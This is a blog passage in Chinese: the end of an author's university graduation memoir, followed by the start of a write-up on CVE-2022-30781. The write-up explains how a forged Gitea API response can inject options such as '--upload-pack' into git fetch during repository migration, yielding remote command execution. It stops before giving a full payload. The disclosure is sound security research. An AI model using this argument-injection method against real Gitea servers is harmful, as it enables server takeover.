毕业时在博客写了篇同名文章,终于,我也到这个时候了。当时我对一年后的自己会身在何处还抱有疑问,而现在我正坐在跟同学合租的公寓房间里,面前是巨大的落地窗,窗外一片漆黑的夜幕。两周前我参加完学校的毕业典礼后,收拾好东西便匆匆忙忙地搬过来了,期间没有什么太多的仪式感,照片也只是三三两两地拍了几张。 但静下来想想才意识到,我已经毕业了。四年前刚到杭电的第一天晚上,我坐在宿舍的书桌前写下了<a href="https://github.red/hello-hdu/" title="《你好,四年。》">《你好,四年。》</a>,字里行间充满了我对这四年的幻想与展望。四年后回过头来看,当时立下的目标,有的落空了,有的结果出乎意外,也有的被忘在脑后不了了之了。</p> <p>我打算写篇文章来记录一下这四年来发生的一些难以忘怀的事情,也记录下自己的感悟。可能内容有些流水账,不过问题不大,反正这篇文章最重要的读者也只是我自己。</p> <h2 id="大一--新奇与随心所欲">大一 · 新奇与随心所欲</h2> <p>其实从 6 岁接受义务教育开始到高考结束为止,我们每个阶段的目标都很明确。读小学就是为了能上好初中,读初中是为了中考,读高中是为了高考&hellip;&hellip; 每进入到一个新的环境,其实我们的长期目标就已经确定好了,身边的人也都是奔着同一个目标去努力。 因此那个时候对与错其实很简单,能让你学会知识的就是好方法,让你疲惫懈怠的就是坏东西。但是上了大学后,这一层约束突然消失了——四年后我可以选择考研,可以选择就业,可以选择考公&hellip;&hellip; 因为最终的目标不明确,所以就想先尝试自己喜欢的事情。 刚读大一的时候,我突然有了相比高中多好几倍的时间,在那段时间里我的进度是飞速的,2018 å¹´ 10 月的时候我专门记录了下自己当时学了什么,除了精进高中时学的 PHP 老本外,还接触了 Docker、Android 开发等。当时真的就是积压了好多年的兴趣欲望,一下子喷发出来了。 同时在室友的推荐下加了 Vidar 的招新群,自己也在一次晚自习时得知了杭电助手,两边都报了名。现在想想这真的是个绝佳的选择。 因为花了过多的时间在整自己的这些东西,我开始逃一些不想上的水课,一些不喜欢的课程作业也是到了快交的时候才匆匆忙忙地补上。所以成绩一直不大好,甚至期中考试过后还被班主任约着谈了话。(对!是班主任,不是辅导员!没想到真的有班主任,这也是我第一次以及最后一次见到她)但其实我一直都不怎么放在心上,反倒是两个社团那边混得风生水起,又是写项目又是学 CTF。</p> <p>刚进入大学的学生,其实对于学校,自己所在的学院,或多或少地都有一种崇拜感与归属感。但之后在 Vidar 招新群以及身边同学言论的影响下,逐渐产生了一种“学校真垃圾,学院老师专业课讲得一塌糊涂,教不了你真东西”的看法。这个看法现在看来其实是有些偏激的,网安学院的老师确实大部分水平都不大行,这个是事实。<strong>但这并不代表他所教授的这门课没有用!</strong> 这是我当时不自觉掉入的一个陷阱。讲数据结构的老师可能很垃圾,只会对着 PPT 照本宣科地念,但这不代表数据结构与算法这门课本身在计算机科学中不重要。你可以贬低老师,逃课不听他讲,作业可以不交,但是你得从其他渠道去认真学习这门课程,要不自己看书,要不看额外的网课。<strong>不能因为老师垃圾,就把这门课也放弃了</strong>。</p> <p>整个大一上学期其实就是按班就部地上着课,平时自己看看书,参加下杭电助手的部门例会和 Vidar 的新生培训。自己也会整些花活,国庆放假的时候用以前学到的 Web 知识整了个解谜游戏。偶尔也会拍点视频剪剪片子。寒假坐高铁回家的时候,还自己拍了个 vlog,自己在高铁上把片子剪完的。 大一的体育课是打太极,可四肢不协调的我根本没好好练,期末考试打太极,记成绩的老师直接跟我说准备补考吧,我那时瞬间就慌了,不过好在最后被老师 60 分给捞过了。这学期我也迎来了我第的一次挂科。因为是第一次,所以自己格外紧张。寒假的时候狂看考研的网课狂补线性代数,开学补考居然还考了 80 多顺利通过~ 寒假期间也没闲着,Vidar çš„ HGAME 新生赛贯穿了我的整个寒假,这也是我 Web 安全的启蒙了。</p> <p>大一下学期,因为在 HGAME 排名靠前,我成功地加入了 Vidar。那个时候的 CTF 比赛还没如今这么卷,Web 单凭自己一个人还能抢个二血三血,也不像现在这样什么牛鬼蛇神都挑出来,这个师傅那个师傅的膜,出的题也不是无脑套娃的体力活。那个学期参加了 Vidar çš„ AWD 比赛,也跟着协会的小伙伴一起去天津线下度假一周打比赛,那场旅行是真的印象深刻。 大一下学期的课程也是我整个大学里最多的了,又多又难,最后也还是可惜挂了科。放暑假前我也是挺惆怅的,想着又得准备补考了 QAQ。传送门:<a href="https://github.red/2019-summer-vacation/" title="暑假开始了啊……">暑假开始了啊……</a></p> <h2 id="大二--光辉与百念皆灰">大二 · 光辉与百念皆灰</h2> <p>大一下学期的暑假其实我过得很安逸自由,在家代码写累了就一个人坐车去深圳湾看海,从深圳湾徒步走到高中的学校,再坐地铁去书城看有无新的技术书籍。 那个暑假我也是用自己三脚猫的 Go 语言水平,硬生生地用 Beego 框架把 Apicon 给写出来部署上线了,还熬夜画了很酷的架构图。传送门:<a href="https://github.red/apicon-infrastructure/" title="Apicon 背后都用到的哪些技术?">Apicon 背后都用到的哪些技术?</a> 现在回过头看那三年前的代码,感叹我这三年来确实成长了不少哈哈哈。 暑假快结束的时候,有幸跟着协会的学长去某省公安局护网,当时大家其实也都是第一次护网,没什么经验。只能靠着弱口令瞎试,最后主办方看不下去了还偷偷塞给我们新的目标,可惜最后成绩还是不怎么好。不过倒是一次很新奇的体验,那个省份因为靠近西北,所以烧烤外卖的羊肉串牛肉串是真的又大又好吃。</p> <p>大二开学后,我便忙开始于社团招新。<del>有什么是比欺负刚来的大一新生更有意思的呢?</del> 大家多多少少都有些好为人师,总是喜欢言传身教,我对大一的新生就经常这样哈哈哈。大二上学期也跟着协会的小伙伴们去了天津的第五空间线下赛以及首届字节跳动 ByteCTF,前者保底拿了个 5000 的奖金,后者拿了个第六名的不错成绩。全靠 @Li4n0 Web 带我飞了,当时第一天发现靶机 SSH 要密钥登录,之前写的脚本全都用不了,人直接蒙了。 这学期协会也举办了第一届 D^3CTF,当时是第一次去日租房参加运维。(虽然自己线上没出题,只是去骗吃骗喝的。)线下赛可谓惊心动魄,当时的比赛平台其实很不稳定,我们有一大半的时间是在修平台,自己也是两天没睡觉。直到比赛的第一天下午,在旁边沙发上一倒直接睡到傍晚。 这学期也是我第一次没有挂科的学期。早在开学的时候,隔壁宿舍的同学就跟我说这学期学的计算机组成原理会很难,挂科率很高。当时我那个慌的,想着绝对不能挂了,不然补考就糟了。计组的课是安排在每周三周四的早上八点,当时我每天早早买好早餐,都提前 15 分钟到教室,坐第一排认真听讲。这可能是我大学为数不多的认真从头到尾听讲的课。授课的老师是当时的学院副院长,也是一个很有趣的人,我很喜欢。期末考试的卷子只有两道大题,一道 40 分,一道 60 分,难度确实大,考察也很全面。不过最后我以八十多的高分通过了,可喜可贺可喜可贺。 这个学期结束的时候,我也因为给 bilibili 交了两个高危安全漏洞,而赚到了 8000 元,美滋滋地回家过年。 可以说,我的大二上学期,是我大学四年的光辉时刻。</p> <p>而大二上学期的寒假,也就是 2020 年初,很遗憾,新冠疫情来了。 2020 年的疫情深深地改变了这个世界原本的运作方式。原本 2 月就要返校的寒假,被疫情硬生生地拖到了 5 月,我在家里被迫上着网课,作息极度不规律。因为久久没出门,再加上看到电视上的种种负面新闻,整个人的心理也是很难受的。也是在当时入坑了 Vtuber,开始推 Overidea,感谢 Overidea 陪伴我度过了疫情期间一个又一个夜晚。 但疫情导致的这三四个月的寒假,其实也是一种机遇。我在这段时间里,将之前 D^3CTF 的平台进行重构 —— Cardinal 诞生了。可以说她贯穿了我整个 2020 年,从第一次开源,到补开发文档,到建立用户交流群,再到开源 3D 大屏&hellip;&hellip; 期间我认识了不少人,也积攒了很多宝贵的经验。我开始认识到做开源的我并不能满足所有人的需求,也不是所有人都对我抱有善意。我应该选择性地去对待他们。</p> <p>2020 å¹´ 3 月的时候,我收到了某大厂的面试邀约,因此我也就投了他们的实习岗。那是我人生中参加的第一次面试,可惜结果并不理想,最终没能通过。那段时间我对自己也陷入了深深地质疑,怀疑自己是不是不适合学计算机。一直以来以兴趣为导向的我却不得不被逼着去学去做一些我不喜欢的东西,这让我很难以接受。就这样消沉了一段时间后,有天下午我翻邮箱的时候看到了一封邮件,这便是我加入 ForkAI 的开始。何老师通过 Vidar 的官网找到了我的博客,然后给我发了邮件,问我有没有兴趣来做逆向相关的事情。我的方向其实是 Web 而非逆向,但我还是回复说可以试试。自己调研了下之后回复说可能需要一台 iPad 真机进行调试分析,何老师问我要了家庭地址后,没几天 iPad 就寄到了。当时我其实挺吃惊的,我和他素不相识,但他却能如此地信任我。之后的事情,很多人其实也都知道了,我大学的后半段时间几乎都投入在了公司这边,这两年多来,我遇到了形形色色的人与事情,数不胜数。</p> <p>2020 å¹´ 5 月初,学校开始安排学生陆续返校,当时急不可耐地我赶紧买了最早的机票回了杭州。现在想想,还是自己家里最舒服。回到学校后,因为没有血清报告,我被强制带去空宿舍楼隔离。隔离的第一天我还很不情愿,但后来慢慢爱上了这种一个人住在大宿舍里,每天睡到自然醒,每天有人送饭,床下就是电脑还有网络的生活了。隔离结束后我还有点念念不舍。</p> <p>隔离结束后,我像平时一样回到了平淡的日常校园生活中。当时的我以为日子将会这么无忧无虑地过下去,但在五月底发生的一件事,给我的之后的大学生活蒙上了一层厚厚地阴影。这件事我不想再去回顾,当时它给我的打击是巨大的,<del>甚至让我产生了要轻生的想法</del>。它阴差阳错的发生了,但凡其中任何一个步骤变动下,都不至于是当时那个结果。虽然这件事最后如愿以偿地顺利解决了,但它已经给我留下了无法抹去的痕迹,可能在五年后十年后的某个夜晚,我会在睡梦中再次忆起此事,然后惊醒。大二下学期剩下的时间,我也在极力调整着自己的心理状况,让室友带我出校吃些好吃的,晚上买几瓶酒回宿舍麻痹自己。那对我来说真的是特别阴暗的一段时光,我冤屈而又无助,我努力安慰着欺骗着自己,我看到了人性的懒惰与官僚主义的尸位素餐,我站在原地又无可奈何。</p> <h2 id="大三--无功与阴差阳错">大三 · 无功与阴差阳错</h2> <p>时间到了大二的暑假,这个暑假我除了忙于公司的事情之外,我还在跟着协会打比赛。最终是拿到了 CyBRICS CTF 2020 全球第七名,GACTF 2020 第一名的好成绩。当时暑假还有个很令我记忆犹新的事情,是 Maro 因为没有买到回家的高铁票而在我家住了一晚,这也是我人生第一次有同学到家里来过夜的,让同学看到自己脏乱的房间真的很不好意思 QwQ。</p> <p>大三上学期开学后,那个学期我一连参加了好几个比赛,凡是有的线下赛我几乎都报名了。可惜的是都没能取得啥好的成绩。唯一的收获就是游览了祖国的大好河山。(其实也是假的,天天在酒店里也不出去)国赛第二天改赛制,被 ylb 的平台给恶心到了,改成解题赛后成绩并不理想,12 月末的 XUNCA 决赛是在深大体育场,我也带着大学室友游览了一遍我从小长大的地方。这种体验真的很梦幻,小时候的我一定不会想到,十多年后我会带着大学同学再次回到这些熟悉的地方。 大三的课其实也不少,令我印象很深刻的是高老师。我那个学期有两门是她的课,她应该也是当老师不久,比我们大不了多少。所以她很明白学生们的小心思,也很为学生着想。看到我作业晚交了,验收次数不够,一直会催着我去做。她是那种我愿意敞开心扉跟她聊的老师,当时自己随手写了个提醒我按时交作业的 bot,我第一时间就想与她分享。最后期末验收也是很戏剧性,我一学期的课几乎没有听,可验收的时候高老师问的每个问题我都能答上来不少,甚至还是对的。她都开始怀疑我是不是假装自己没听过课了哈哈哈。可能真的是凭直觉的运气好吧。 大三的寒假特别短,因为疫情影响也是没有回湖南。很久没有在深圳过年了,那段时间还是属于沉《魔女之旅》的时候,每天晚上代码写累了就躺床上补小说。深圳的冬天确实不冷,白天甚至可以只穿一件长袖,在床边坐上一天。</p> <p>大三下学期回到杭州后,公司那边开始忙起来了。我将更多的时间投入到了工作上。4 月份举行了一次到安吉的团建,团建前的几天我的电脑主板还烧了,只能赶紧去西湖苹果店买一台新的。最后还好也是赶上了那次的客户交付。大三下学期这一年公司人员流动以及动荡挺大的,期间我也多次感觉十分疲倦有些撑不下去了。甚至精神恍惚到从出口进学校图书馆,被门口保安叫住后我还一脸疑惑地想他为啥不让我进去。比较可惜的是大三后半年下来,在公司的一些事情开了又停,这么断断续续的导致最后没有几个事情是能完整做完的,可时间和金钱确实已经被浪费了。 我其实除了大四之外,每年都会去一次上海。大一的时候是去看 Mili 的演唱会和 Vueconf 2019,大二是去看 Bilibili Macro Link 2020,大三是去找队长吃饭顺便去拜访了无闻老师的家。算是年度任务了。杭州到上海确实很方便,一般来说清晨七八点钟高铁过去,晚上六七点钟的高铁回来。</p> <h2 id="大四--坚韧与得偿所愿">大四 · 坚韧与得偿所愿</h2> <p>时间来到了大四上学期,因为大三的时候经常在公司,翘了不少课,导致一门很蠢的选修课居然被老师给挂了。无奈只能大四再选两门课把学分给补上。可能因为是大学的最后一年了,这两门课我都按时到教室听课了,作业也都完成了。期末靠前老师划重点的时候全程记录下来,两门课都自己整理了相关的资料进行复习。当然,最后当然也都顺利通过了。还记得期末考试时,我一个大四的学生在考场门口遇到大二学弟的场景。😅</p> <p>大四上学期还有个很重要的事,那就是毕业设计了。因为之前发生的事情,我想把毕业这些事尽早做完,尽早毕业。因此在大四上学期就选上了第一批的毕业设计。那一排选题自己其实都不怎么感兴趣,最后挑了个 XSS 平台的开发。找到导师说我对这个选题是多么多么地感兴趣,自己也有很多想法。导师回复我课题已经被选了,后来又反转成之前那个学生退了选题。(后来得知我的导师这次毕设只带了我一个学生,其他要考研的学生都被他劝退了) 毕设刚开始的时候我根本没咋当回事,就突击了一下做了 20%。后面导师催着我要开题的时候,才提前一星期写了开题报告和 PPT,当时我表现的挺慌的,身边的人还以为我参加的是最终的论文答辩,听闻居然只是开题后都纷纷表示不屑。开题报告上,某个大一时单独找我聊过天,后来风评逐渐转差的老师开始问及我的一些工作就业相关的问题,我其实挺明白的他就是想显摆刷存在感;但是我也不至于模仿什么爽文男主,把实情透露给他打他的脸。最后只是微笑着搪塞过去了。 进入冬季后,论文查重与答辩也快来了。当时我的进度其实是慢了一截的。甚至离查重还有一个半星期了,我论文还没开始写!所以我当时给自己定下的目标就是每天必须得写满 2000 字才能睡觉。所以那段时间每晚几乎都是两三点才睡。印象很深刻的是有次在公司加班,太晚了便在公司附近找了个公寓酒店住,那个老板跟我说帮我换了个大房间,结果一进房间味道挺大的,也就将就着住了。那天晚上肝到三四点钟,一看手机没电了,但是又没有充电线,电脑端饿了么的 H5 页面也用不了,我直接人傻了。最后是跑到了楼下大堂,看到有接充电宝的,找楼下保安帮我接了个才解决。后来论文查重前也是挺惊险的,那天晚上十点收到导师的微信,说第二天九点前要提交论文查重,我一看还剩两三千字,还要改格式,人直接傻了。赶紧收拾好包背上电脑冲向了离学校最近的酒店。那天是一直肝到了第二天六点才写完,写完后在网上找了两家论文查重的网站,把查重结果和论文微信发给导师后,他居然秒回收到,看来都没有睡呢。发完后我便去补觉了,睡到中午一觉醒来导师微信告诉我查重通过了,可喜可贺。 最后的论文答辩,其实还蛮顺利的。台下老师问的问题也都是项目功能、代码量之类的,随便三两下轻松应对。答辩结束后,晚上出校吃了烤肉,回去的路上还买了一直很喜欢喝得椰椰奶冻。 不过答辩结束并不意味着毕业设计就结束了,关于论文还有一些内容和格式上需要修改的。这也是我导师唯一一次给我的指导 —— 一个 15 分钟的微信电话。他按点给我列出了要改的内容和要修正的字体格式。我后面按照他说的改好后,最终版直接拿去楼下电脑城装订了。所以我的论文几乎是没什么大的修改,也没被导师打回去过。我的导师全程也和我一样很摆,这使得他在下学期的毕设中也这么摆,结果不对劲了。(可能并不是所有的学生都像我一样优秀能够让老师省心吧哈哈哈)</p> <p>大四下学期,因为疫情,寒假回到深圳后一直回不去杭州,每次都是见着好转准备买票的时候,突然新增了几例阳性。陆陆续续我退了有三四次票了。过年的时候回了趟湖南,期间住在奶奶的新房子里。湖南的冬天是湿冷的,这点跟杭州很不一样。杭州的冬天虽然了冷,但晚上我盖上被子,也就暖和了。湖南因为相对潮湿,被子上沾上了水汽在冬天是冷的。🥶 晚上睡觉的时候盖上被子反倒更冷了。 过年那会我本来是想在奶奶家静下心来写点开源项目的,可是却跑去挖洞了,期间确实也小有成果,自己也学到了不少。后来因为这些洞也赚了笔小钱。传送门:<a href="https://github.red/security-bounty-thought/" title="聊聊最近挖 Security Bounty 的感受">聊聊最近挖 Security Bounty 的感受</a> 我也没想到两年后我居然又能在家里过生日,不过 22 岁的生日没给我有太大的实感,越长大越对过生日没兴趣了。小的时候会给自己整很多有仪式感的东西,现在就吃个蛋糕,这一天也就过了。</p> <p>四月中旬,我回到了学校。在不到半个月后,“以为死去的回忆突然开始攻击我”,我才知道大二下学期的那件事居然还没完,并且也做好了是时候该做个了断的觉悟。之后的一个多月来我一直郁郁寡欢,不断地尝试去补救,世界也一次又一次地给我希望,然后重重地把我摔到地上。最后,就当我尝尽一切办法,自认为已无力回天时,这件事情最后却又再次出乎意料地完美收场了。当压抑了很久的悲痛突然被释放时,我反倒没觉得有多轻松,心里还是提高着戒备,我想接下来就自己慢慢调理,慢慢走出来吧。</p> <p>最后快要毕业的一个星期,我穿上学士服,拍了毕业照。同时开始收拾我在宿舍的东西,曾经我收集的各种包装盒和小玩意,到做取舍的时候,全被我丢弃了。以前自己总想着这些东西今后保不齐突然要用上,一直舍不得丢,现在却是被暴力的拆开来检查一遍,然后直接丢掉。我没有做过多的停留,分两次打包好了宿舍的东西,搬到了我现在住的公寓里。甚至直到现在我还认为,只要我想,我便能再次走进学校。</p> <h2 id="unlasting">Unlasting</h2> <p>最后这一个段落用一首歌名来结尾。</p> <p>以上就是我顺着回忆记录下来的我的大学四年。期间还有很多精彩的瞬间,遇到了很多有趣的人,抱歉由于篇幅原因以及我现在实在是太困了所以没有写。这并不代表他们不重要,相反他们可能重要到我会时常想起,甚至已经是我生活日常中的一部分了。 以上所有提到了和未提到的,都被我一一记录在了手机相册中。闲的时候我会翻着相册,将自己代入当时的心情。</p> <p>我的大学四年生活已经结束了。这其中我遇到了种种出乎意料的事情。这也让我不敢做太长远的规划,因为它往往都不按我设想的方式进行,最终都是以以其它的结果呈现给我,我很少能遇到完美的如愿以偿。 我在这四年里表现的可能不是那么出彩,但是这四年真真切切地流过了。我迷茫地站在这个新的起点,义无反顾地向前走。</p>CVE-2022-30781:一条普通的 Git 命令导致的 Gitea RCEhttps://github.red/gitea-rce/Sun, 29 May 2022 00:00:08 +0800https://github.red/gitea-rce/<blockquote> <p>本文首发于跳跳糖 <a href="https://tttang.com/archive/1607/">https://tttang.com/archive/1607/</a></p> </blockquote> <p>今年过年放假的时候,我就在挖 Go 相关开源项目的 Security Bounty。通过整理分析现有 Go 开源项目的历史 CVE,我大致摸索出了 Go 项目易出现漏洞的一些地方,以及开发人员经常会疏忽的问题。 前后提交的几个漏洞让我有了好几个 CVE,并且小赚了一笔,换算成人民币应该接近六位数了。😈 具体可以阅读我的上一篇文章:<a href="https://github.red/security-bounty-thought/">聊聊最近挖 Security Bounty 的感受</a></p> <h2 id="gogs-被-rce-了那-gitea-å‘¢">Gogs 被 RCE 了,那 Gitea 呢?</h2> <p>在上面的文章中,我提到自己挖掘到了一枚 Gogs 中因为未对用户可控的目录路径进行检测,从而导致后续路径拼接可以导致目录穿越,从而使得攻击者能上传覆盖环境中的任意文件。 在能覆盖任意文件后,我使用的是之前 CVE-2019-11229 中提到的方法,覆盖一个 Git 仓库中 <code>.git/config</code> 文件,设置 <code>core.sshCommand</code> 参数从而达到远程任意命令执行。</p> <p>一直以来我都十分欣赏这个漏洞,因为它给人畜无害的 Git 传入了恶意的配置,就能导致命令执行。类似的还有 <code>curl</code>,前阵子做到过一道 CTF 题,在环境变量可控的情况下,可以使用 <code>curl</code> 来覆盖文件,同样也十分精彩。</p> <p>那么,既然 Gogs 被我们 RCE 了,那基于 Gogs 代码分叉出去的 Gitea,是否也存在调用 Git 时,传入恶意参数导致命令执行的问题呢?这,就是这篇文章要讲述的。</p> <h2 id="寻找攻击点">寻找攻击点</h2> <p>Gitea 是一个前后端不分离的项目,很多操作还是通过 POST 表单提交。我刚开始审计 Gitea 项目时,打算先集中看一遍它的输入,因此选择先从 Gitea API 入手。通过点击 Gitea 页面右下角的 「API」即可看到一个用 Swagger 搭建的 API 文档。网页上通过表单提交的操作,在这里基本可以找到与之对应的 RESTful API。</p> <p>第一个 <code>admin</code> 是管理员的操作,肯定有个中间件鉴权,纵使后面有洞也会被前面的中间件给拦了,优先级靠后,先跳过。第二个 <code>miscellaneous</code> 是一对杂项功能,基本不涉及啥复杂的交互,也先跳过&hellip;&hellip; 之后一连串的看下去,都是些简单的 CRUD 操作,寻思也写不出啥洞,我也懒得去看。😅 而后当点开 <code>repository</code> 选项卡,第一个接口是:</p> <blockquote> <p>POST <code>/repos/migrate</code> Migrate a remote git repository</p> </blockquote> <p>诶~ 这个好像有点意思,迁移远端的仓库过来,那肯定是要请求给定的远端仓库 URL,说不定保底就是个 SSRF。展开看接口传入的 JSON 内容,其中包含远端仓库的 URL、是否迁移 Issues、Pull Request、Releases、LFS 等数据。联想到我之前挖的 Gitea 任意文件删除漏洞就是在处理 LFS 文件这里,说不定这里从远端迁移 LFS 文件也会存在类似路径穿越的问题? 带着这个猜想,我去看了 Gitea Migration 部分的代码,不看不知道,一看才发现这功能是个筛子。</p> <h2 id="gitea-migration">Gitea Migration</h2> <p>Gitea çš„ Migration 迁移功能由两部分组成,<code>Downloader</code> 与 <code>Uploader</code>,对应到代码中分别是 <code>migration.Downloader</code> 与 <code>migration.Uploader</code> 两个接口。前者负责从远端的仓库服务下载仓库信息,后者负责将信息打入到 Gitea 中。 目前 <code>Downloader</code> 支持从 GitHub、Gitlab、GitBucket、Gogs、Gitea 等服务导入代码,你可以在 <code>services/migrations</code> 目录下看到对这些平台的 <code>Downloader</code> 接口实现。一般都是调这些服务的 API 来获取托管在其上面仓库的 Issue、Pull Request、Releases 等信息。而 <code>Uploader</code> 的实现只有一个,那就是 Gitea,因为我们最终只会将远端仓库迁移至本 Gitea 实例中。</p> <p>在 <code>services/migrations/migrate.go#migrateRepository</code> 是迁移一个远端仓库所要进行的步骤。在给函数传入了对应的 <code>Downloader</code> å’Œ <code>Uploader</code> 后,它将依次做如下操作:</p> <table> <thead> <tr> <th>调用的接口方法</th> <th>说明</th> </tr> </thead> <tbody> <tr> <td><code>downloader.GetRepoInfo</code></td> <td>获取远端仓库基本信息</td> </tr> <tr> <td><code>downloader.FormatCloneURL</code></td> <td>获取远端仓库 Git Clone 地址</td> </tr> <tr> <td><code>uploader.CreateRepo</code></td> <td>创建本地仓库</td> </tr> <tr> <td><code>downloader.GetTopics</code> <code>uploader.CreateTopics</code></td> <td>获取远端仓库 Topic + 创建本地仓库 Topic</td> </tr> <tr> <td><code>downloader.GetMilestones</code> <code>uploader.CreateMilestones</code></td> <td>获取远端仓库里程碑 + 创建本地仓库里程碑</td> </tr> <tr> <td><code>downloader.GetLabels</code> <code>uploader.CreateLabels</code></td> <td>获取远端仓库标签 + 创建本地仓库标签</td> </tr> <tr> <td><code>downloader.GetReleases</code> <code>uploader.CreateReleases</code></td> <td>获取远端仓库 Release 版本 + 创建本地仓库 Release 版本</td> </tr> <tr> <td><code>downloader.GetIssues</code> <code>uploader.CreateIssues</code></td> <td>获取远端仓库 Issue + 创建本地仓库 Issue</td> </tr> <tr> <td><code>downloader.GetComments</code> <code>uploader.CreateComments</code></td> <td>获取远端仓库评论 + 创建本地仓库评论</td> </tr> <tr> <td><code>downloader.GetPullRequests</code> <code>uploader.CreatePullRequests</code></td> <td>获取远端仓库 Pull Request + 创建本地仓库 Pull Request</td> </tr> <tr> <td><code>downloader.GetReviews</code> <code>uploader.CreateReviews</code></td> <td>获取远端仓库 Code Review + 创建本地仓库 Code Review</td> </tr> </tbody> </table> <p>可以看到,仓库迁移的操作就是把信息使用 <code>Downloader</code> 下载回来,然后 <code>Uploader</code> 给存储到本地,这样成对的一来一回。 由于 GitHub、Gitlab、GitBucket 这些属于第三方的 SaaS,我们对其 API 返回的内容并是完全不可控的,因此我将目光瞄准了从 Gogs å’Œ Gitea 迁移。而 Gitea çš„ <code>Downloader</code> 的功能相比 Gogs 的多,当 Gitea 要从另一个 Gitea 实例迁移仓库时,它将请求远端 Gitea 实例的 API,来得知该仓库的名称、Issue、Pull Request、Releases 文件等。 我们试想是否可以伪造一个 Gitea 实例,说白了就是伪造这么一套 Gitea API,让当前 Gitea 实例在迁移仓库时去请求我们伪造的 Gitea API 服务,从中传入一些恶意参数看看能不能搞事情。</p> <p>经过一个通宵的审计加 @Li4n0 的协助,我们终于发现了一枚远程命令执行漏洞。它从恶意的 Gitea 实例读取精心构造的参数后,拼接进正常的 Git 命令,从而导致了远程命令执行。我们形象地将其称之为:Git 投毒(Git Poison)。</p> <h2 id="git-投毒">Git 投毒</h2> <p>漏洞点出现在对 Pull Request 的数据迁移上,调用链如下:</p> <ul> <li><code>services/migrations/migrate.go:L376#uploader.CreatePullRequests</code></li> <li><code>services/migrations/gitea_uploader.go:L466#g.newPullRequest</code></li> <li><code>services/migrations/gitea_uploader.go:L602#g.updateGitForPullRequest</code></li> </ul> <p>出现漏洞的代码块在 <code>services/migrations/gitea_uploader.go:L531-L567</code> 处,精简后的代码如下:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">if</span> pr.<span style="color:#d2a8ff;font-weight:bold">IsForkPullRequest</span>() <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> pr.State <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#a5d6ff">&#34;closed&#34;</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> pr.Head.OwnerName <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#a5d6ff">&#34;&#34;</span> { </span></span><span style="display:flex;"><span> remote <span style="color:#ff7b72;font-weight:bold">:=</span> pr.Head.OwnerName </span></span><span style="display:flex;"><span> _, ok <span style="color:#ff7b72;font-weight:bold">:=</span> g.prHeadCache[remote] </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> !ok { </span></span><span style="display:flex;"><span> err <span style="color:#ff7b72;font-weight:bold">:=</span> g.gitRepo.<span style="color:#d2a8ff;font-weight:bold">AddRemote</span>(remote, pr.Head.CloneURL, <span style="color:#79c0ff">true</span>) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> { </span></span><span style="display:flex;"><span> ok = <span style="color:#79c0ff">true</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> ok { </span></span><span style="display:flex;"><span> _, err = git.<span style="color:#d2a8ff;font-weight:bold">NewCommand</span>(g.ctx, <span style="color:#a5d6ff">&#34;fetch&#34;</span>, remote, pr.Head.Ref).<span style="color:#d2a8ff;font-weight:bold">RunInDir</span>(g.repo.<span style="color:#d2a8ff;font-weight:bold">RepoPath</span>()) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>当远端存在来自 Fork 仓库提交的 Pull Request 请求,且该 PR 状态不为 Close 时,会进入该分支。 这里有一个 Map <code>g.prHeadCache</code> 作为临时缓存。第一次进入时该缓存为空,检测到 <code>remote</code> 的值不在 <code>g.prHeadCache</code> 中,调用 <code>g.gitRepo.AddRemote</code> 方法,该方法执行命令:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git remote add -f &lt;remote&gt; &lt;pr.Head.CloneURL&gt; </span></span></code></pre></div><p>该命令正常执行,无错误抛出后,便将<code>ok</code> 设置成 <code>true</code>。到下方执行命令:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git fetch &lt;remote&gt; &lt;pr.Head.Ref&gt; </span></span></code></pre></div><p>当我们选择从远端 Gitea 实例执行迁移时,上述 <code>remote</code> <code>pr.Head.CloneURL</code> <code>pr.Head.Ref</code> 参数<strong>均取自远端 Gitea Web API 响应中</strong>,均是可控的。因此只需要构造一个 HTTP 服务模拟 Gitea Web API 返回响应,以上的三个参数将从响应中获取。</p> <h3 id="git---upload-pack-参数">Git <code>--upload-pack</code> 参数</h3> <p>虽然上述两个命令中的三个参数都可控,但情况并不乐观:</p> <ol> <li>两条指令分别是 <code>git remote add</code> å’Œ <code>git fetch</code>,我们仅能控制其参数。</li> <li>第二条命令执行的条件是需要保证第一条命令执行成功。</li> </ol> <p>第一个限制,也是这个漏洞的难点所在。在翻阅了 Git 文档后,Li4n0 发现 Git çš„ <code>fetch</code> 子命令中存在 <code>--upload-pack</code> 这个参数。根据官方文档,当 <code>--upload-pack</code> 被指定时,其仓库拉取操作将使用 <code>git fetch-pack --exec=&lt;upload-pack&gt;</code> 替代。而 <code>git fetch-pack</code> 中的 <code>--exec</code> 参数同 <code>--upload-pack</code> 参数,用于指定<strong>远端</strong> <code>git-upload-pack</code> 命令执行的路径。</p> <p>而如果我们设置远端 Git 仓库的路径为<strong>一个本地的仓库</strong>,则对于这个仓库来说,客户端是当前 Gitea 实例,远端服务端也是当前 Gitea 实例机器上的一个目录。因此便会在<strong>当前</strong> Gitea 实例所在的机器上执行命令。</p> <p>因此, <code>git remote add</code> 